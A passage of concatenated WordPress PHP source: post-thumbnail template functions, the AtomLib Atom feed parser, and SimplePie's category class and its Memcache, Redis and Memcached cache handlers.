		 * @param int          $post_id           The post ID.
		 * @param int          $post_thumbnail_id The post thumbnail ID.
		 * @param string|int[] $size              Requested image size. Can be any registered image size name, or
		 *                                        an array of width and height values in pixels (in that order).
		 */
		do_action( 'end_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size );

	} else {
		$html = '';
	}

	/**
	 * Filters the post thumbnail HTML.
	 *
	 * @since 2.9.0
	 *
	 * @param string       $html              The post thumbnail HTML.
	 * @param int          $post_id           The post ID.
	 * @param int          $post_thumbnail_id The post thumbnail ID, or 0 if there isn't one.
	 * @param string|int[] $size              Requested image size. Can be any registered image size name, or
	 *                                        an array of width and height values in pixels (in that order).
	 * @param string|array $attr              Query string or array of attributes.
	 */
	return apply_filters( 'post_thumbnail_html', $html, $post->ID, $post_thumbnail_id, $size, $attr );
}

/**
 * Returns the post thumbnail URL.
 *
 * @since 4.4.0
 *
 * @param int|WP_Post  $post Optional. Post ID or WP_Post object.  Default is global `$post`.
 * @param string|int[] $size Optional. Registered image size to retrieve the source for or a flat array
 *                           of height and width dimensions. Default 'post-thumbnail'.
 * @return string|false Post thumbnail URL or false if no image is available. If `$size` does not match
 *                      any registered image size, the original image URL will be returned.
 */
function get_the_post_thumbnail_url( $post = null, $size = 'post-thumbnail' ) {
	$post_thumbnail_id = get_post_thumbnail_id( $post );

	if ( ! $post_thumbnail_id ) {
		return false;
	}

	$thumbnail_url = wp_get_attachment_image_url( $post_thumbnail_id, $size );

	/**
	 * Filters the post thumbnail URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string|false     $thumbnail_url Post thumbnail URL or false if the post does not exist.
	 * @param int|WP_Post|null $post          Post ID or WP_Post object. Default is global `$post`.
	 * @param string|int[]     $size          Registered image size to retrieve the source for or a flat array
	 *                                        of height and width dimensions. Default 'post-thumbnail'.
	 */
	return apply_filters( 'post_thumbnail_url', $thumbnail_url, $post, $size );
}

/**
 * Displays the post thumbnail URL.
 *
 * @since 4.4.0
 *
 * @param string|int[] $size Optional. Image size to use. Accepts any valid image size,
 *                           or an array of width and height values in pixels (in that order).
 *                           Default 'post-thumbnail'.
 */
function the_post_thumbnail_url( $size = 'post-thumbnail' ) {
	$url = get_the_post_thumbnail_url( null, $size );

	if ( $url ) {
		echo esc_url( $url );
	}
}

/**
 * Returns the post thumbnail caption.
 *
 * @since 4.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string Post thumbnail caption.
 */
function get_the_post_thumbnail_caption( $post = null ) {
	$post_thumbnail_id = get_post_thumbnail_id( $post );

	if ( ! $post_thumbnail_id ) {
		return '';
	}

	$caption = wp_get_attachment_caption( $post_thumbnail_id );

	if ( ! $caption ) {
		$caption = '';
	}

	return $caption;
}

/**
 * Displays the post thumbnail caption.
 *
 * @since 4.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 */
function the_post_thumbnail_caption( $post = null ) {
	/**
	 * Filters the displayed post thumbnail caption.
	 *
	 * @since 4.6.0
	 *
	 * @param string $caption Caption for the given attachment.
	 */
	echo apply_filters( 'the_post_thumbnail_caption', get_the_post_thumbnail_caption( $post ) );
}
<?php
/**
 * Atom Syndication Format PHP Library
 *
 * @package AtomLib
 * @link http://code.google.com/p/phpatomlib/
 *
 * @author Elias Torres <elias@torrez.us>
 * @version 0.4
 * @since 2.3.0
 */

/**
 * Structure that store common Atom Feed Properties
 *
 * @package AtomLib
 */
class AtomFeed {
	/**
	 * Stores Links
	 * @var array
	 * @access public
	 */
    var $links = array();
    /**
     * Stores Categories
     * @var array
     * @access public
     */
    var $categories = array();
	/**
	 * Stores Entries
	 *
	 * @var array
	 * @access public
	 */
    var $entries = array();
}

/**
 * Structure that store Atom Entry Properties
 *
 * @package AtomLib
 */
class AtomEntry {
	/**
	 * Stores Links
	 * @var array
	 * @access public
	 */
    var $links = array();
    /**
     * Stores Categories
     * @var array
	 * @access public
     */
    var $categories = array();
}

/**
 * AtomLib Atom Parser API
 *
 * @package AtomLib
 */
class AtomParser {

    var $NS = 'http://www.w3.org/2005/Atom';
    var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
    var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft');

    var $debug = false;

    var $depth = 0;
    var $indent = 2;
    var $in_content;
    var $ns_contexts = array();
    var $ns_decls = array();
    var $content_ns_decls = array();
    var $content_ns_contexts = array();
    var $is_xhtml = false;
    var $is_html = false;
    var $is_text = true;
    var $skipped_div = false;

    var $FILE = "php://input";

    var $feed;
    var $current;

	/**
	 * PHP5 constructor.
	 */
    function __construct() {

        $this->feed = new AtomFeed();
        $this->current = null;
        $this->map_attrs_func = array( __CLASS__, 'map_attrs' );
        $this->map_xmlns_func = array( __CLASS__, 'map_xmlns' );
    }

	/**
	 * PHP4 constructor.
	 */
	public function AtomParser() {
		self::__construct();
	}

	/**
	 * Map attributes to key="val"
	 *
	 * @param string $k Key
	 * @param string $v Value
	 * @return string
	 */
	public static function map_attrs($k, $v) {
		return "$k=\"$v\"";
	}

	/**
	 * Map XML namespace to string.
	 *
	 * @param indexish $p XML Namespace element index
	 * @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ]
	 * @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"'
	 */
	public static function map_xmlns($p, $n) {
		$xd = "xmlns";
		if( 0 < strlen($n[0]) ) {
			$xd .= ":{$n[0]}";
		}
		return "{$xd}=\"{$n[1]}\"";
	}

    function _p($msg) {
        if($this->debug) {
            print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n";
        }
    }

    function error_handler($log_level, $log_text, $error_file, $error_line) {
        $this->error = $log_text;
    }

    function parse() {

        set_error_handler(array(&$this, 'error_handler'));

        array_unshift($this->ns_contexts, array());

        if ( ! function_exists( 'xml_parser_create_ns' ) ) {
        	trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
        	return false;
        }

        $parser = xml_parser_create_ns();
        xml_set_object($parser, $this);
        xml_set_element_handler($parser, "start_element", "end_element");
        xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
        xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
        xml_set_character_data_handler($parser, "cdata");
        xml_set_default_handler($parser, "_default");
        xml_set_start_namespace_decl_handler($parser, "start_ns");
        xml_set_end_namespace_decl_handler($parser, "end_ns");

        $this->content = '';

        $ret = true;

        $fp = fopen($this->FILE, "r");
        while ($data = fread($fp, 4096)) {
            if($this->debug) $this->content .= $data;

            if(!xml_parse($parser, $data, feof($fp))) {
                /* translators: 1: Error message, 2: Line number. */
                trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n",
                    xml_error_string(xml_get_error_code($parser)),
                    xml_get_current_line_number($parser)));
                $ret = false;
                break;
            }
        }
        fclose($fp);

        xml_parser_free($parser);
        unset($parser);

        restore_error_handler();

        return $ret;
    }

    function start_element($parser, $name, $attrs) {

        $name_parts = explode(":", $name);
        $tag        = array_pop($name_parts);

        switch($name) {
            case $this->NS . ':feed':
                $this->current = $this->feed;
                break;
            case $this->NS . ':entry':
                $this->current = new AtomEntry();
                break;
        };

        $this->_p("start_element('$name')");
        #$this->_p(print_r($this->ns_contexts,true));
        #$this->_p('current(' . $this->current . ')');

        array_unshift($this->ns_contexts, $this->ns_decls);

        $this->depth++;

        if(!empty($this->in_content)) {

            $this->content_ns_decls = array();

            if($this->is_html || $this->is_text)
                trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup.");

            $attrs_prefix = array();

            // resolve prefixes for attributes
            foreach($attrs as $key => $value) {
                $with_prefix = $this->ns_to_prefix($key, true);
                $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value);
            }

            $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
            if(strlen($attrs_str) > 0) {
                $attrs_str = " " . $attrs_str;
            }

            $with_prefix = $this->ns_to_prefix($name);

            if(!$this->is_declared_content_ns($with_prefix[0])) {
                array_push($this->content_ns_decls, $with_prefix[0]);
            }

            $xmlns_str = '';
            if(count($this->content_ns_decls) > 0) {
                array_unshift($this->content_ns_contexts, $this->content_ns_decls);
                $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0])));
                if(strlen($xmlns_str) > 0) {
                    $xmlns_str = " " . $xmlns_str;
                }
            }

            array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">"));

        } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
            $this->in_content = array();
            $this->is_xhtml = $attrs['type'] == 'xhtml';
            $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html';
            $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text';
            $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type']));

            if(in_array('src',array_keys($attrs))) {
                $this->current->$tag = $attrs;
            } else {
                array_push($this->in_content, array($tag,$this->depth, $type));
            }
        } else if($tag == 'link') {
            array_push($this->current->links, $attrs);
        } else if($tag == 'category') {
            array_push($this->current->categories, $attrs);
        }

        $this->ns_decls = array();
    }

    function end_element($parser, $name) {

        $name_parts = explode(":", $name);
        $tag        = array_pop($name_parts);

        $ccount = count($this->in_content);

        # if we are *in* content, then let's proceed to serialize it
        if(!empty($this->in_content)) {
            # if we are ending the original content element
            # then let's finalize the content
            if($this->in_content[0][0] == $tag &&
                $this->in_content[0][1] == $this->depth) {
                $origtype = $this->in_content[0][2];
                array_shift($this->in_content);
                $newcontent = array();
                foreach($this->in_content as $c) {
                    if(count($c) == 3) {
                        array_push($newcontent, $c[2]);
                    } else {
                        if($this->is_xhtml || $this->is_text) {
                            array_push($newcontent, $this->xml_escape($c));
                        } else {
                            array_push($newcontent, $c);
                        }
                    }
                }
                if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) {
                    $this->current->$tag = array($origtype, join('',$newcontent));
                } else {
                    $this->current->$tag = join('',$newcontent);
                }
                $this->in_content = array();
            } else if($this->in_content[$ccount-1][0] == $tag &&
                $this->in_content[$ccount-1][1] == $this->depth) {
                $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>";
            } else {
                # else, just finalize the current element's content
                $endtag = $this->ns_to_prefix($name);
                array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>"));
            }
        }

        array_shift($this->ns_contexts);

        $this->depth--;

        if($name == ($this->NS . ':entry')) {
            array_push($this->feed->entries, $this->current);
            $this->current = null;
        }

        $this->_p("end_element('$name')");
    }

    function start_ns($parser, $prefix, $uri) {
        $this->_p("starting: " . $prefix . ":" . $uri);
        array_push($this->ns_decls, array($prefix,$uri));
    }

    function end_ns($parser, $prefix) {
        $this->_p("ending: #" . $prefix . "#");
    }

    function cdata($parser, $data) {
        $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#");
        if(!empty($this->in_content)) {
            array_push($this->in_content, $data);
        }
    }

    function _default($parser, $data) {
        # when does this gets called?
    }


    function ns_to_prefix($qname, $attr=false) {
        # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div')
        $components = explode(":", $qname);

        # grab the last one (e.g 'div')
        $name = array_pop($components);

        if(!empty($components)) {
            # re-join back the namespace component
            $ns = join(":",$components);
            foreach($this->ns_contexts as $context) {
                foreach($context as $mapping) {
                    if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
                        return array($mapping, "$mapping[0]:$name");
                    }
                }
            }
        }

        if($attr) {
            return array(null, $name);
        } else {
            foreach($this->ns_contexts as $context) {
                foreach($context as $mapping) {
                    if(strlen($mapping[0]) == 0) {
                        return array($mapping, $name);
                    }
                }
            }
        }
    }

    function is_declared_content_ns($new_mapping) {
        foreach($this->content_ns_contexts as $context) {
            foreach($context as $mapping) {
                if($new_mapping == $mapping) {
                    return true;
                }
            }
        }
        return false;
    }

    function xml_escape($content)
    {
             return str_replace(array('&','"',"'",'<','>'),
                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
                $content );
    }
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Manages all category-related data
 *
 * Used by {@see SimplePie_Item::get_category()} and {@see SimplePie_Item::get_categories()}
 *
 * This class can be overloaded with {@see SimplePie::set_category_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Category
{
	/**
	 * Category identifier
	 *
	 * @var string|null
	 * @see get_term
	 */
	var $term;

	/**
	 * Categorization scheme identifier
	 *
	 * @var string|null
	 * @see get_scheme()
	 */
	var $scheme;

	/**
	 * Human readable label
	 *
	 * @var string|null
	 * @see get_label()
	 */
	var $label;

	/**
	 * Category type
	 * 
	 * category for <category>
	 * subject for <dc:subject>
	 *
	 * @var string|null
	 * @see get_type()
	 */
	var $type;

	/**
	 * Constructor, used to input the data
	 *
	 * @param string|null $term
	 * @param string|null $scheme
	 * @param string|null $label
	 * @param string|null $type
	 */
	public function __construct($term = null, $scheme = null, $label = null, $type = null)
	{
		$this->term = $term;
		$this->scheme = $scheme;
		$this->label = $label;
		$this->type = $type;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the category identifier
	 *
	 * @return string|null
	 */
	public function get_term()
	{
		return $this->term;
	}

	/**
	 * Get the categorization scheme identifier
	 *
	 * @return string|null
	 */
	public function get_scheme()
	{
		return $this->scheme;
	}

	/**
	 * Get the human readable label
	 *
	 * @param bool $strict
	 * @return string|null
	 */
	public function get_label($strict = false)
	{
		if ($this->label === null && $strict !== true)
		{
			return $this->get_term();
		}
		return $this->label;
	}

	/**
	 * Get the category type
	 *
	 * @return string|null
	 */
	public function get_type()
	{
		return $this->type;
	}
}

<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to memcache
 *
 * Registered for URLs with the "memcache" protocol
 *
 * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcache on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package SimplePie
 * @subpackage Caching
 * @uses Memcache
 */
class SimplePie_Cache_Memcache implements SimplePie_Cache_Base
{
	/**
	 * Memcache instance
	 *
	 * @var Memcache
	 */
	protected $cache;

	/**
	 * Options
	 *
	 * @var array
	 */
	protected $options;

	/**
	 * Cache name
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type)
	{
		$this->options = array(
			'host' => '127.0.0.1',
			'port' => 11211,
			'extras' => array(
				'timeout' => 3600, // one hour
				'prefix' => 'simplepie_',
			),
		);
		$this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

		$this->name = $this->options['extras']['prefix'] . md5("$name:$type");

		$this->cache = new Memcache();
		$this->cache->addServer($this->options['host'], (int) $this->options['port']);
	}

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data)
	{
		if ($data instanceof SimplePie)
		{
			$data = $data->data;
		}
		return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
	}

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load()
	{
		$data = $this->cache->get($this->name);

		if ($data !== false)
		{
			return unserialize($data);
		}
		return false;
	}

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime()
	{
		$data = $this->cache->get($this->name);

		if ($data !== false)
		{
			// essentially ignore the mtime because Memcache expires on its own
			return time();
		}

		return false;
	}

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch()
	{
		$data = $this->cache->get($this->name);

		if ($data !== false)
		{
			return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
		}

		return false;
	}

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink()
	{
		return $this->cache->delete($this->name, 0);
	}
}
<?php

/**
 * SimplePie Redis Cache Extension
 *
 * @package SimplePie
 * @author Jan Kozak <galvani78@gmail.com>
 * @link http://galvani.cz/
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version 0.2.9
 */


/**
 * Caches data to redis
 *
 * Registered for URLs with the "redis" protocol
 *
 * For example, `redis://localhost:6379/?timeout=3600&prefix=sp_&dbIndex=0` will
 * connect to redis on `localhost` on port 6379. All tables will be
 * prefixed with `simple_primary-` and data will expire after 3600 seconds
 *
 * @package SimplePie
 * @subpackage Caching
 * @uses Redis
 */
class SimplePie_Cache_Redis implements SimplePie_Cache_Base {
    /**
     * Redis instance
     *
     * @var \Redis
     */
    protected $cache;

    /**
     * Options
     *
     * @var array
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Cache Data
     *
     * @var type
     */
    protected $data;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $options = null) {
        //$this->cache = \flow\simple\cache\Redis::getRedisClientInstance();
        $parsed = SimplePie_Cache::parse_URL($location);
        $redis = new Redis();
        $redis->connect($parsed['host'], $parsed['port']);
        if (isset($parsed['pass'])) {
            $redis->auth($parsed['pass']);
        }
        if (isset($parsed['path'])) {
            $redis->select((int)substr($parsed['path'], 1));
        }
        $this->cache = $redis;

        if (!is_null($options) && is_array($options)) {
            $this->options = $options;
        } else {
            $this->options = array (
                'prefix' => 'rss:simple_primary:',
                'expire' => 0,
            );
        }

        $this->name = $this->options['prefix'] . $name;
    }

    /**
     * @param \Redis $cache
     */
    public function setRedisClient(\Redis $cache) {
        $this->cache = $cache;
    }

    /**
     * Save data to the cache
     *
     * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data) {
        if ($data instanceof SimplePie) {
            $data = $data->data;
        }
        $response = $this->cache->set($this->name, serialize($data));
        if ($this->options['expire']) {
            $this->cache->expire($this->name, $this->options['expire']);
        }

        return $response;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load() {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime() {

        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch() {

        $data = $this->cache->get($this->name);

        if ($data !== false) {
            $return = $this->cache->set($this->name, $data);
            if ($this->options['expire']) {
                return $this->cache->expire($this->name, $this->options['expire']);
            }
            return $return;
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink() {
        return $this->cache->set($this->name, null);
    }

}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to memcached
 *
 * Registered for URLs with the "memcached" protocol
 *
 * For example, `memcached://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcached on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package    SimplePie
 * @subpackage Caching
 * @author     Paul L. McNeely
 * @uses       Memcached
 */
class SimplePie_Cache_Memcached implements SimplePie_Cache_Base
{
    /**
     * Memcached instance
     * @var Memcached
     */
    protected $cache;

    /**
     * Options
     * @var array
     */
    protected $options;

    /**
     * Cache name
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name     Unique ID for the cache
     * @param string $type     Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type) {
        $this->options = array(
            'host'   => '127.0.0.1',
            'port'   => 11211,
            'extras' => array(
                'timeout' => 3600, // one hour
                'prefix'  => 'simplepie_',
            ),
        );
        $this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new Memcached();
        $this->cache->addServer($this->options['host'], (int)$this->options['port']);
    }

    /**
     * Save data to the cache
     * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data) {
        if ($data instanceof SimplePie) {
            $data = $data->data;
        }

        return $this->setData(serialize($data));
    }

    /**
     * Retrieve the data saved to the cache
     * @return array Data for SimplePie::$data
     */
    public function load() {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     * @return int Timestamp
     */
    public function mtime() {
        $data = $this->cache->get($this->name . '_mtime');
        return (int) $data;
    }

    /**
     * Set the last modified time to the current time
     * @return bool Success status
     */
    public function touch() {
        $data = $this->cache->get($this->name);
        return $this->setData($data);
    }

    /**
     * Remove the cache
     * @return bool Success status
     */
    public function unlink() {
        return $this->cache->delete($this->name, 0);
    }

    /**
     * Set the last modified time and data to Memcached
     * @return bool Success status
     */
    private function setData($data) {

        if ($data !== false) {
            $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']);
            return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']);
        }

        return false;
    }
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
